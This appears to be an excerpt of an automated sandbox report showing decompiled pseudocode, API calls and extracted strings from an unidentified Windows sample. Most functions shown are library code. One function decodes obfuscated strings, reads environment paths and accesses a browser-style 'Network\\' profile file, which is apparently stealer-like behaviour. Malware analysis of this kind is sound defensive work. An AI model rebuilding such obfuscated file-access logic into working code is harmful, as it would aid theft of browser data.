																	E00B0C13D( &_v316, _t225, _t153);
																	_t209 = _v332;
																	goto L19;
																}
															} else {
																_t157 = E00B0DB7A(_t214,  &_v328, _v288, _v292,  *((intOrPtr*)(_t225 + 4)),  *_t225);
																_t231 = _t231 + 0x14;
																_v8 = 7;
																E00B0C13D( &_v324, _t225, _t157);
																_t209 = _v328;
																goto L19;
															}
														} else {
															_t160 = E00B0DB7A(_t214,  &_v356, _v288, _v292,  *((intOrPtr*)(_t225 + 4)),  *_t225);
															_t231 = _t231 + 0x14;
															_v8 = 6;
															E00B0C13D( &_v320, _t225, _t160);
															_t209 = _v356;
															L19:
															_v8 = 5;
															E00B0656C(_t209 - 0x10, _t214);
														}
														_t75 = _t225 + 0x108; // 0x108
														_t151 = _t75;
														_t217 = 0;
														__eflags = 0;
													}
													_t224 = _v316;
													_t197 = _t224;
													_t214 = _t197 + 2;
													do {
														_t162 =  *_t197;
														_t197 = _t197 + 2;
														__eflags = _t162 - _t217;
													} while (_t162 != _t217);
													0xc86e13(_a8, _t224, _t197 - _t214 >> 1);
													_t219 = _v320;
													_t231 = _t231 + 0xc;
													_t177 = _v324;
													__eflags = _t162;
													if(_t162 == 0) {
														_push( *((intOrPtr*)(_t219 - 0xc)));
														E00B0C201(_v308, _t219);
														_push(E00B067CE("="));
														E00B0C201(_v308, "=");
														_push( *((intOrPtr*)(_t177 - 0xc)));
														E00B0C201(_v308, _t177);
														_push(E00B067CE(0xcf3e34));
														E00B0C201(_v308, 0xcf3e34);
													}
													E00B0656C(_t224 - 0x10, _t214);
													E00B0656C(_t177 - 0x10, _t214);
													_t181 = _t219 - 0x10;
													_v8 = 2;
													_t165 = E00B0656C(_t219 - 0x10, _t214);
													_t217 = 0;
													0xcc462a(_v288, _v292, 1, 0);
													__eflags = _t165;
												} while (_t165 == 0);
												_t176 = _v340;
												_t224 = _v348;
											}
											0xcc460a(_v288, _v292);
											_v284 = _t217;
											0xc83f30( &_v280, _t217, 0x104);
											_t138 = E00B0CD24(_t176, _t181, _t217, _t224, _v300, _v288, _t224,  &_v284,  &_v312);
											_t231 = _t231 + 0x20;
										}
										0xcc45ea(_v288, _v300, 1);
										0xcc45ba(_v288, _v304);
									}
								}
								0xcc459a(_v288, _t217);
								_push(_v296);
							} else {
								_push(0);
							}
							0xcc456a(); // executed
						}
					}
					E00B0656C(_v304 - 0x10, _t214);
					E00B0656C(_a4 - 0x10, _t214);
					E00B0656C(_a8 - 0x10, _t214);
					0xc814b2();
					return _t176;
				} else {
					_t173 =  *((intOrPtr*)( *_t179 + 8))(_t214, _t222, 1);
					if(_t173 == 0) {
						goto L4;
					} else {
						_t174 = _t173 + 0x10;
						 *__ecx = _t174;
						return _t174;
					}
				}
			}

0x00b0dcf2
0x00b0dcf5
0x00b0dcf6
0x00b0dcf9
0x00b0dcfe
0x00b0dd01
0x00b0dd06
0x00b0dd24
0x00b0dd24
0x00b0dd29
0x00b0dd34
0x00b0dd3c
0x00b0dd45
0x00b0dd54
0x00b0dd5a
0x00b0dd5b
0x00b0dd5d
0x00b0dd69
0x00b0dd74
0x00b0dd7e
0x00b0dd85
0x00b0dd8a
0x00b0dd8c
0x00b0dd8e
0x00b0dda4
0x00b0dda9
0x00b0ddb0
0x00b0ddb5
0x00b0ddb7
0x00b0ddb9
0x00b0ddc1
0x00b0ddc7
0x00b0ddd4
0x00b0ddd9
0x00b0dddb
0x00b0dddd
0x00b0ddf3
0x00b0ddf8
0x00b0ddfa
0x00b0ddfc
0x00b0de04
0x00b0de0a
0x00b0de1e
0x00b0de23
0x00b0de25
0x00b0de27
0x00b0de33
0x00b0de38
0x00b0de3a
0x00b0de46
0x00b0de4c
0x00b0de57
0x00b0de5d
0x00b0de68
0x00b0de6e
0x00b0de78
0x00b0de86
0x00b0de8c
0x00b0deac
0x00b0deb1
0x00b0e16e
0x00b0e16e
0x00b0e170
0x00000000
0x00000000
0x00b0dec4
0x00b0ded7
0x00b0dee8
0x00b0def0
0x00b0def6
0x00b0defb
0x00b0defd
0x00b0df03
0x00b0df0f
0x00b0df14
0x00b0df24
0x00b0df29
0x00b0df39
0x00b0df41
0x00b0df45
0x00b0e047
0x00b0e047
0x00b0e049
0x00000000
0x00000000
0x00b0df4f
0x00b0df57
0x00b0df57
0x00b0df5b
0x00b0df62
0x00b0df64
0x00b0dfa8
0x00b0dfaf
0x00b0dfb1
0x00b0dff2
0x00b0dff9
0x00b0dffb
0x00b0e015
0x00b0e01a
0x00b0e024
0x00b0e028
0x00b0e02d
0x00000000
0x00b0e02d
0x00b0dfb3
0x00b0dfcb
0x00b0dfd0
0x00b0dfda
0x00b0dfde
0x00b0dfe3
0x00000000
0x00b0dfe3
0x00b0df66
0x00b0df7e
0x00b0df83
0x00b0df8d
0x00b0df91
0x00b0df96
0x00b0e033
0x00b0e036
0x00b0e03a
0x00b0e03a
0x00b0e03f
0x00b0e03f
0x00b0e045
0x00b0e045
0x00b0e045
0x00b0e04f
0x00b0e055
0x00b0e057
0x00b0e05a
0x00b0e05a
0x00b0e05d
0x00b0e060
0x00b0e060
0x00b0e06e
0x00b0e073
0x00b0e079
0x00b0e07c
0x00b0e082
0x00b0e084
0x00b0e086
0x00b0e090
0x00b0e0a6
0x00b0e0ac
0x00b0e0b1
0x00b0e0bb
0x00b0e0d1
0x00b0e0d7
0x00b0e0d7
0x00b0e0df
0x00b0e0e7
0x00b0e0ec
0x00b0e0ef
0x00b0e0f3
0x00b0e0f8
0x00b0e109
0x00b0e10e
0x00b0e10e
0x00b0e116
0x00b0e11c
0x00b0e11c
0x00b0e12e
0x00b0e13e
0x00b0e146
0x00b0e166
0x00b0e16b
0x00b0e16b
0x00b0e184
0x00b0e195
0x00b0e195
0x00b0de27
0x00b0e1a1
0x00b0e1a6
0x00b0dddf
0x00b0dddf
0x00b0dddf
0x00b0e1ac
0x00b0e1ac
0x00b0ddb9
0x00b0e1ba
0x00b0e1c5
0x00b0e1d0
0x00b0e1d7
0x00b0e1dc
0x00b0dd0c
0x00b0dd12
0x00b0dd17
0x00000000
0x00b0dd19
0x00b0dd19
0x00b0dd1c
0x00b0dd21
0x00b0dd21
0x00b0dd17

APIs

__EH_prolog3_GS.LIBCMT ref: 00B0DD34
_memset.LIBCMT ref: 00B0DE8C
__wcsnicmp.LIBCMT ref: 00B0E06E

Strings

Fihc`oNby|vUi, xrefs: 00B0DE2E
wbhehce, xrefs: 00B0DE63
kgjm, xrefs: 00B0DE41
j`a, xrefs: 00B0DD94
sgk}l, xrefs: 00B0DE52

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: H_prolog3___wcsnicmp_memset
String ID: Fihc`oNby|vUi$j`a$kgjm$sgk}l$wbhehce
API String ID: 3863332369-1906186485
Opcode ID: aa1bd01d8c6f5a83f50ac66a72a5839d411cb796022089de0d6fed9c89558e26
Instruction ID: a031e0a0eae993b2c9fb4fa464b1819953f7579278cbd7df44c99b355e550d24
Opcode Fuzzy Hash: aa1bd01d8c6f5a83f50ac66a72a5839d411cb796022089de0d6fed9c89558e26
Instruction Fuzzy Hash: D5D18E71900259ABCF25ABA0CC86FEEBBB9EF59700F0040D9F64966191DB719F90DF50

Uniqueness

Uniqueness Score: -1.00%

Function 00B07A14 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 50%

			E00B07A14(void* __ecx, void* __eflags) {
				void* _t28;
				intOrPtr _t40;
				signed int _t49;
				intOrPtr _t50;
				signed int _t51;
				intOrPtr _t67;
				void* _t70;
				void* _t71;
				void* _t72;

				0xc81503(0x17c);
				_t50 =  *((intOrPtr*)(_t70 + 8));
				_t67 =  *((intOrPtr*)(_t70 + 0xc));
				_t28 = E00B695A9(__ecx, L"IIDIEK[\\IO[Q");
				0xc84b10(_t28, 0);
				_t72 = _t71 + 0xc;
				if(_t28 != 0) {
					L3:
					E00B03D46(_t70 - 0x28, _t28);
					 *(_t70 - 4) =  *(_t70 - 4) & 0x00000000;
					_push(0);
					E00B07590(_t70 - 0x28, __eflags, _t30, E00B09A45(E00B695A9(_t70 - 0x28, 0xcf3b40)));
					E00B07590(_t70 - 0x28, __eflags, L"Network\\", E00B09A45(L"Network\\"));
					E00B07590(_t70 - 0x28, __eflags, _t50, E00B09A45(_t50));
					_push(1);
					_push(0x40);
					_push(0x21);
					_push(_t70 - 0x28);
					E00B03949(_t70 - 0xe0); // executed
					 *(_t70 - 4) = 1;
					_t40 =  *((intOrPtr*)( *((intOrPtr*)(_t70 - 0xe0)) + 4));
					__eflags =  *(_t70 + _t40 - 0xd4) & 0x00000006;
					if(( *(_t70 + _t40 - 0xd4) & 0x00000006) == 0) {
						_push(1);
						_push(0x40);
						_push(0x22);
						_push(_t67);
						E00B03B57(_t70 - 0x188); // executed
						 *(_t70 - 4) = 2;
						_push(_t70 - 0xd0);
						E00B05071(_t70 - 0x188, __eflags); // executed
						E00B0789A(_t70 - 0x188, __eflags);
						E00B07868(_t70 - 0xe0, __eflags);
						_t51 = 1;
						E00B052B1(_t70 - 0x188);
					} else {
						_t51 = 0;
					}
					E00B05225(_t70 - 0xe0);
					E00B071CD(_t70 - 0x28, 1, 0);
					_t49 = _t51;
				} else {
					_t28 = E00B695A9(__ecx, L"DVWLH^J");
					0xc84b10(_t28, _t28);
					_t72 = _t72 + 0xc;
					if(_t28 != 0) {
						goto L3;
					} else {
						_t49 = 0;
					}
				}
				0xc814b2();
				return _t49;
			}

0x00b07a1e
0x00b07a23
0x00b07a26
0x00b07a30
0x00b07a36
0x00b07a3b
0x00b07a40
0x00b07a61
0x00b07a65
0x00b07a6a
0x00b07a6e
0x00b07a8a
0x00b07aa0
0x00b07ab1
0x00b07ab6
0x00b07ab8
0x00b07aba
0x00b07abf
0x00b07ac6
0x00b07ad1
0x00b07ad5
0x00b07ad8
0x00b07ae0
0x00b07ae6
0x00b07ae8
0x00b07aea
0x00b07aec
0x00b07af3
0x00b07afe
0x00b07b02
0x00b07b09
0x00b07b14
0x00b07b1f
0x00b07b2a
0x00b07b2c
0x00b07ae2
0x00b07ae2
0x00b07ae2
0x00b07b37
0x00b07b43
0x00b07b48
0x00b07a42
0x00b07a48
0x00b07a4e
0x00b07a53
0x00b07a58
0x00000000
0x00b07a5a
0x00b07a5a
0x00b07a5a
0x00b07a58
0x00b07b4a
0x00b07b4f

APIs

__EH_prolog3_GS.LIBCMT ref: 00B07A1E
__wgetenv.LIBCMT ref: 00B07A36
__wgetenv.LIBCMT ref: 00B07A4E

Part of subcall function 00C84B10: _wcsnlen.LIBCMT ref: 00C84B49
Part of subcall function 00C84B10: __lock.LIBCMT ref: 00C84B5A
Part of subcall function 00C84B10: __wgetenv_helper_nolock.LIBCMT ref: 00C84B65

char_traits.LIBCPMT ref: 00B07A7D
char_traits.LIBCPMT ref: 00B07A95
char_traits.LIBCPMT ref: 00B07AA6

Strings

Network\, xrefs: 00B07A8F, 00B07A94, 00B07A9C
IIDIEK[\IO[Q, xrefs: 00B07A2B
DVWLH^J, xrefs: 00B07A43

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: char_traits$__wgetenv$H_prolog3___lock__wgetenv_helper_nolock_wcsnlen
String ID: DVWLH^J$IIDIEK[\IO[Q$Network\
API String ID: 3563457284-4247936164
Opcode ID: 255b8db775cd847cec209e842fbc937c48cbb5efbca2a4d856a166ef3aa0bc37
Instruction ID: 16b7e7004be0576a492bea1e4942b43918f1277e8cf7897b47c4f6164006035f
Opcode Fuzzy Hash: 255b8db775cd847cec209e842fbc937c48cbb5efbca2a4d856a166ef3aa0bc37
Instruction Fuzzy Hash: FB31A471E842087BDB54F6A0CC57FEDBBA89F10700F0444D4F50A761C2EE746B84CA65

Uniqueness

Uniqueness Score: -1.00%

Function 00C219EB Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 00C219F2

Part of subcall function 00B6F0EC: RtlEnterCriticalSection.NTDLL(00D6B598), ref: 00B6F11B
Part of subcall function 00B6F0EC: RtlInitializeCriticalSection.NTDLL(00000000), ref: 00B6F131
Part of subcall function 00B6F0EC: RtlLeaveCriticalSection.NTDLL(00D6B598), ref: 00B6F143
Part of subcall function 00B6F0EC: RtlEnterCriticalSection.NTDLL(00000000), ref: 00B6F14F

GetProfileIntW.KERNEL32(windows,DragMinDist,00000002), ref: 00C21A45
GetProfileIntW.KERNEL32(windows,DragDelay,000000C8), ref: 00C21A5B

Strings

DragDelay, xrefs: 00C21A50
DragMinDist, xrefs: 00C21A3A
windows, xrefs: 00C21A3F, 00C21A44, 00C21A55

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: CriticalSection$EnterProfile$H_prolog3InitializeLeave
String ID: DragDelay$DragMinDist$windows
API String ID: 3965097884-2101198082
Opcode ID: b54d857314c9d5f03f9fb4d1680864015e8fe707924a1bbcac914b14f1854229
Instruction ID: 04b78a4cd90e32c2b8b7bbae07258e75f74e597f3a4f2f04fcf6227ed8710f0f
Opcode Fuzzy Hash: b54d857314c9d5f03f9fb4d1680864015e8fe707924a1bbcac914b14f1854229
Instruction Fuzzy Hash: 47011AB0A45B01AFD740EF79AA86B587BE4FB08700F408569E508DBB91DBB49460CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00B9302F Relevance: 7.6, APIs: 5, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 38%

			E00B9302F(intOrPtr* __ecx, signed int __edx, struct tagLOGFONTW __fp0) {
				signed int _v8;
				struct _OSVERSIONINFOEXW _v292;
				void* __ebp;
				signed int _t11;
				signed int _t12;
				void* _t14;
				longlong _t15;
				void* _t21;
				intOrPtr* _t33;
				intOrPtr* _t38;
				signed int _t39;

				_t31 = __edx;
				_t11 =  *0xd62790; // 0x7014776
				_t12 = _t11 ^ _t39;
				_v8 = _t12;
				_t33 = __ecx;
				if( *__ecx == 0) {
					_v292.dwOSVersionInfoSize = 0x11c;
					_v292.dwMajorVersion = 6;
					_v292.dwMinorVersion = 1;
					0xc83f30( &(_v292.dwBuildNumber), 0, 0x110, _t21);
					_t38 =  *0xcee324;
					_t14 =  *_t38(0, 0, 2, 3, 1, 3);
					_t15 =  *_t38(_t14, __edx);
					_push(__edx);
					 *((intOrPtr*)(_t33 + 0x17c)) = VerifyVersionInfoW( &_v292, 3, _t15);
					 *((intOrPtr*)(_t33 + 0x180)) = GetSystemMetrics(0x1000);
					E00B9398F(_t33, _t31); // executed
					E00B9347C(_t33, _t31, __fp0); // executed
					_t12 = E00B93114(_t33);
					 *((intOrPtr*)(_t33 + 0x19c)) = 1;
				}
				0xc8142c();
				return _t12;
			}

0x00b9302f
0x00b93038
0x00b9303d
0x00b9303f
0x00b93044
0x00b9304a
0x00b93058
0x00b93068
0x00b93075
0x00b9307b
0x00b9308c
0x00b93092
0x00b93096
0x00b93098
0x00b930ae
0x00b930bc
0x00b930c2
0x00b930c9
0x00b930d0
0x00b930d5
0x00b930db
0x00b930e3
0x00b930eb

APIs

_memset.LIBCMT ref: 00B9307B
VerSetConditionMask.NTDLL(00000000,00000000,00000002,00000003), ref: 00B93092
VerSetConditionMask.NTDLL(00000000), ref: 00B93096
VerifyVersionInfoW.KERNEL32(0000011C,00000003,00000000), ref: 00B930A3
GetSystemMetrics.USER32(00001000), ref: 00B930B4

Part of subcall function 00B9398F: __EH_prolog3.LIBCMT ref: 00B93996
Part of subcall function 00B9398F: GetSysColor.USER32(00000016), ref: 00B939A8
Part of subcall function 00B9398F: GetSysColor.USER32(0000000F), ref: 00B939B5
Part of subcall function 00B9398F: GetSysColor.USER32(00000015), ref: 00B939C8
Part of subcall function 00B9398F: GetSysColor.USER32(0000000F), ref: 00B939D0
Part of subcall function 00B9398F: GetSysColor.USER32(0000000F), ref: 00B93A04
Part of subcall function 00B9398F: GetSysColor.USER32(00000010), ref: 00B93A0E
Part of subcall function 00B9398F: GetSysColor.USER32(00000015), ref: 00B93A18
Part of subcall function 00B9398F: GetSysColor.USER32(00000016), ref: 00B93A22
Part of subcall function 00B9398F: GetSysColor.USER32(00000014), ref: 00B93A2C
Part of subcall function 00B9398F: GetSysColor.USER32(00000012), ref: 00B93A36
Part of subcall function 00B9398F: GetSysColor.USER32(00000011), ref: 00B93A40
Part of subcall function 00B9398F: GetSysColor.USER32(00000006), ref: 00B93A47
Part of subcall function 00B9398F: GetSysColor.USER32(0000000D), ref: 00B93A4E
Part of subcall function 00B9398F: GetSysColor.USER32(0000000E), ref: 00B93A55
Part of subcall function 00B9398F: GetSysColor.USER32(00000005), ref: 00B93A5C
Part of subcall function 00B9398F: GetSysColor.USER32(00000008), ref: 00B93A66
Part of subcall function 00B9398F: GetSysColor.USER32(00000009), ref: 00B93A6D
Part of subcall function 00B9398F: GetSysColor.USER32(00000007), ref: 00B93A74
Part of subcall function 00B9398F: GetSysColor.USER32(00000002), ref: 00B93A7B
Part of subcall function 00B9398F: GetSysColor.USER32(00000003), ref: 00B93A82
Part of subcall function 00B9398F: GetSysColor.USER32(0000001B), ref: 00B93A8C
Part of subcall function 00B9398F: GetSysColor.USER32(0000001C), ref: 00B93A96

Part of subcall function 00B9347C: __EH_prolog3_GS.LIBCMT ref: 00B93486
Part of subcall function 00B9347C: DeleteObject.GDI32(00000000), ref: 00B93516
Part of subcall function 00B9347C: DeleteObject.GDI32(00000000), ref: 00B93530
Part of subcall function 00B9347C: DeleteObject.GDI32(00000000), ref: 00B9354A
Part of subcall function 00B9347C: DeleteObject.GDI32(00000000), ref: 00B93564
Part of subcall function 00B9347C: DeleteObject.GDI32(00000000), ref: 00B9357E
Part of subcall function 00B9347C: DeleteObject.GDI32(00000000), ref: 00B93598
Part of subcall function 00B9347C: DeleteObject.GDI32(00000000), ref: 00B935B2

Part of subcall function 00B93114: GetSystemMetrics.USER32(00000031), ref: 00B93128
Part of subcall function 00B93114: GetSystemMetrics.USER32(00000032), ref: 00B93132
Part of subcall function 00B93114: SetRectEmpty.USER32(?), ref: 00B93141
Part of subcall function 00B93114: EnumDisplayMonitors.USER32(00000000,00000000,00B92FAA,?,?,778D9FF0,00000001,00B930D5), ref: 00B93151
Part of subcall function 00B93114: SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00B93168
Part of subcall function 00B93114: SystemParametersInfoW.USER32(00001002,00000000,?,00000000), ref: 00B93190
Part of subcall function 00B93114: SystemParametersInfoW.USER32(00001012,00000000,?,00000000), ref: 00B931A6
Part of subcall function 00B93114: SystemParametersInfoW.USER32 ref: 00B931C8

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: Color$DeleteObjectSystem$Info$Parameters$Metrics$ConditionMask$DisplayEmptyEnumH_prolog3H_prolog3_MonitorsRectVerifyVersion_memset
String ID:
API String ID: 3574155688-0
Opcode ID: 315091372e0ff2f366a1b59428d6af28c9e0cf625bce0041300e84353f84b496
Instruction ID: cc0bec49684b099008e3f035a0a086d9f007d7e355f8b4f5c02d8d1d2107c980
Opcode Fuzzy Hash: 315091372e0ff2f366a1b59428d6af28c9e0cf625bce0041300e84353f84b496
Instruction Fuzzy Hash: 7B117771A00218ABDB25AF659C46BFEFBFCEB49B50F0041AAB54997291CB705E108FD0

Uniqueness

Uniqueness Score: -1.00%

Function 00C85A96 Relevance: 6.1, APIs: 4, Instructions: 136
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memmove.LIBCMT ref: 00C85B2C
__flush.LIBCMT ref: 00C85B4C
__write.LIBCMT ref: 00C85B7F
__flsbuf.LIBCMT ref: 00C85BAD

Part of subcall function 00C89047: __getptd_noexit.LIBCMT ref: 00C89047

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: 5d7ec6c4083b31187eb5df1e419ad43d562cb844b91ff7dc2d52efaec9845785
Instruction ID: 2b6834c3baa267dbb571a660b12ab51da117268577d10750e33410abfa94fee2
Opcode Fuzzy Hash: 5d7ec6c4083b31187eb5df1e419ad43d562cb844b91ff7dc2d52efaec9845785
Instruction Fuzzy Hash: 7341C534A00B099FDB1CAF69C8C09BA77A5AF54358B24827DE82587240E7F09E409B58

Uniqueness

Uniqueness Score: -1.00%

Function 00CB6ED3 Relevance: 6.0, APIs: 4, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 00CB6EDA
std::_Cnd_waitX.LIBCPMT ref: 00CB6EFA

Part of subcall function 00CB1764: __Mtx_init.LIBCPMT ref: 00CB176E

std::_Cnd_initX.LIBCPMT ref: 00CB6F33
std::_Cnd_initX.LIBCPMT ref: 00CB6F5B

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: std::_$Cnd_init$Cnd_waitH_prolog3Mtx_init
String ID:
API String ID: 2294004850-0
Opcode ID: be8e769987fc9713064d8dc1f04ef7e552c45a3fda7089ed10e43ee02595af7d
Instruction ID: 3d6213d29a83757bdc9fdb2598c10ebddc50ed6152e847abd83cef1661f31993
Opcode Fuzzy Hash: be8e769987fc9713064d8dc1f04ef7e552c45a3fda7089ed10e43ee02595af7d
Instruction Fuzzy Hash: 2B01A270A003508BCB14EB65ED827A97394AB04714F944129FD18EB392EB348F01EB54

Uniqueness

Uniqueness Score: -1.00%

Function 00CB6FFF Relevance: 6.0, APIs: 4, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 00CB7006
std::_Cnd_waitX.LIBCPMT ref: 00CB7026

Part of subcall function 00CB1764: __Mtx_init.LIBCPMT ref: 00CB176E

std::_Cnd_initX.LIBCPMT ref: 00CB705F
std::_Cnd_initX.LIBCPMT ref: 00CB7087

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: std::_$Cnd_init$Cnd_waitH_prolog3Mtx_init
String ID:
API String ID: 2294004850-0
Opcode ID: 66765130ce84e200346f024c991968146f1b9dc0746a9694c2b0fdff681bbb54
Instruction ID: 80915d80446008c8fa3775574dc9ddb07299d1513c16fd7696e9d6a54ec14ebf
Opcode Fuzzy Hash: 66765130ce84e200346f024c991968146f1b9dc0746a9694c2b0fdff681bbb54
Instruction Fuzzy Hash: 2F01A770B117608BCB18FB246D8275973D4BB40315F940225FC19E7352EF709F01AB54

Uniqueness

Uniqueness Score: -1.00%

Function 00CCCFA7 Relevance: 6.0, APIs: 4, Instructions: 40
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Concurrency::details::InternalContextBase::LeaveScheduler.LIBCMT ref: 00CCCFCA

Part of subcall function 00CD5D5A: Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCMT ref: 00CD5D81
Part of subcall function 00CD5D5A: Concurrency::details::InternalContextBase::PrepareForUse.LIBCMT ref: 00CD5D98
Part of subcall function 00CD5D5A: Concurrency::details::VirtualProcessor::MakeAvailable.LIBCMT ref: 00CD5DFB
Part of subcall function 00CD5D5A: Concurrency::details::SchedulerBase::DeferredGetInternalContext.LIBCMT ref: 00CD5E03

Concurrency::details::SchedulerBase::GetExternalContext.LIBCMT ref: 00CCCFE2
Concurrency::details::ContextBase::PushContextToTls.LIBCMT ref: 00CCCFEC
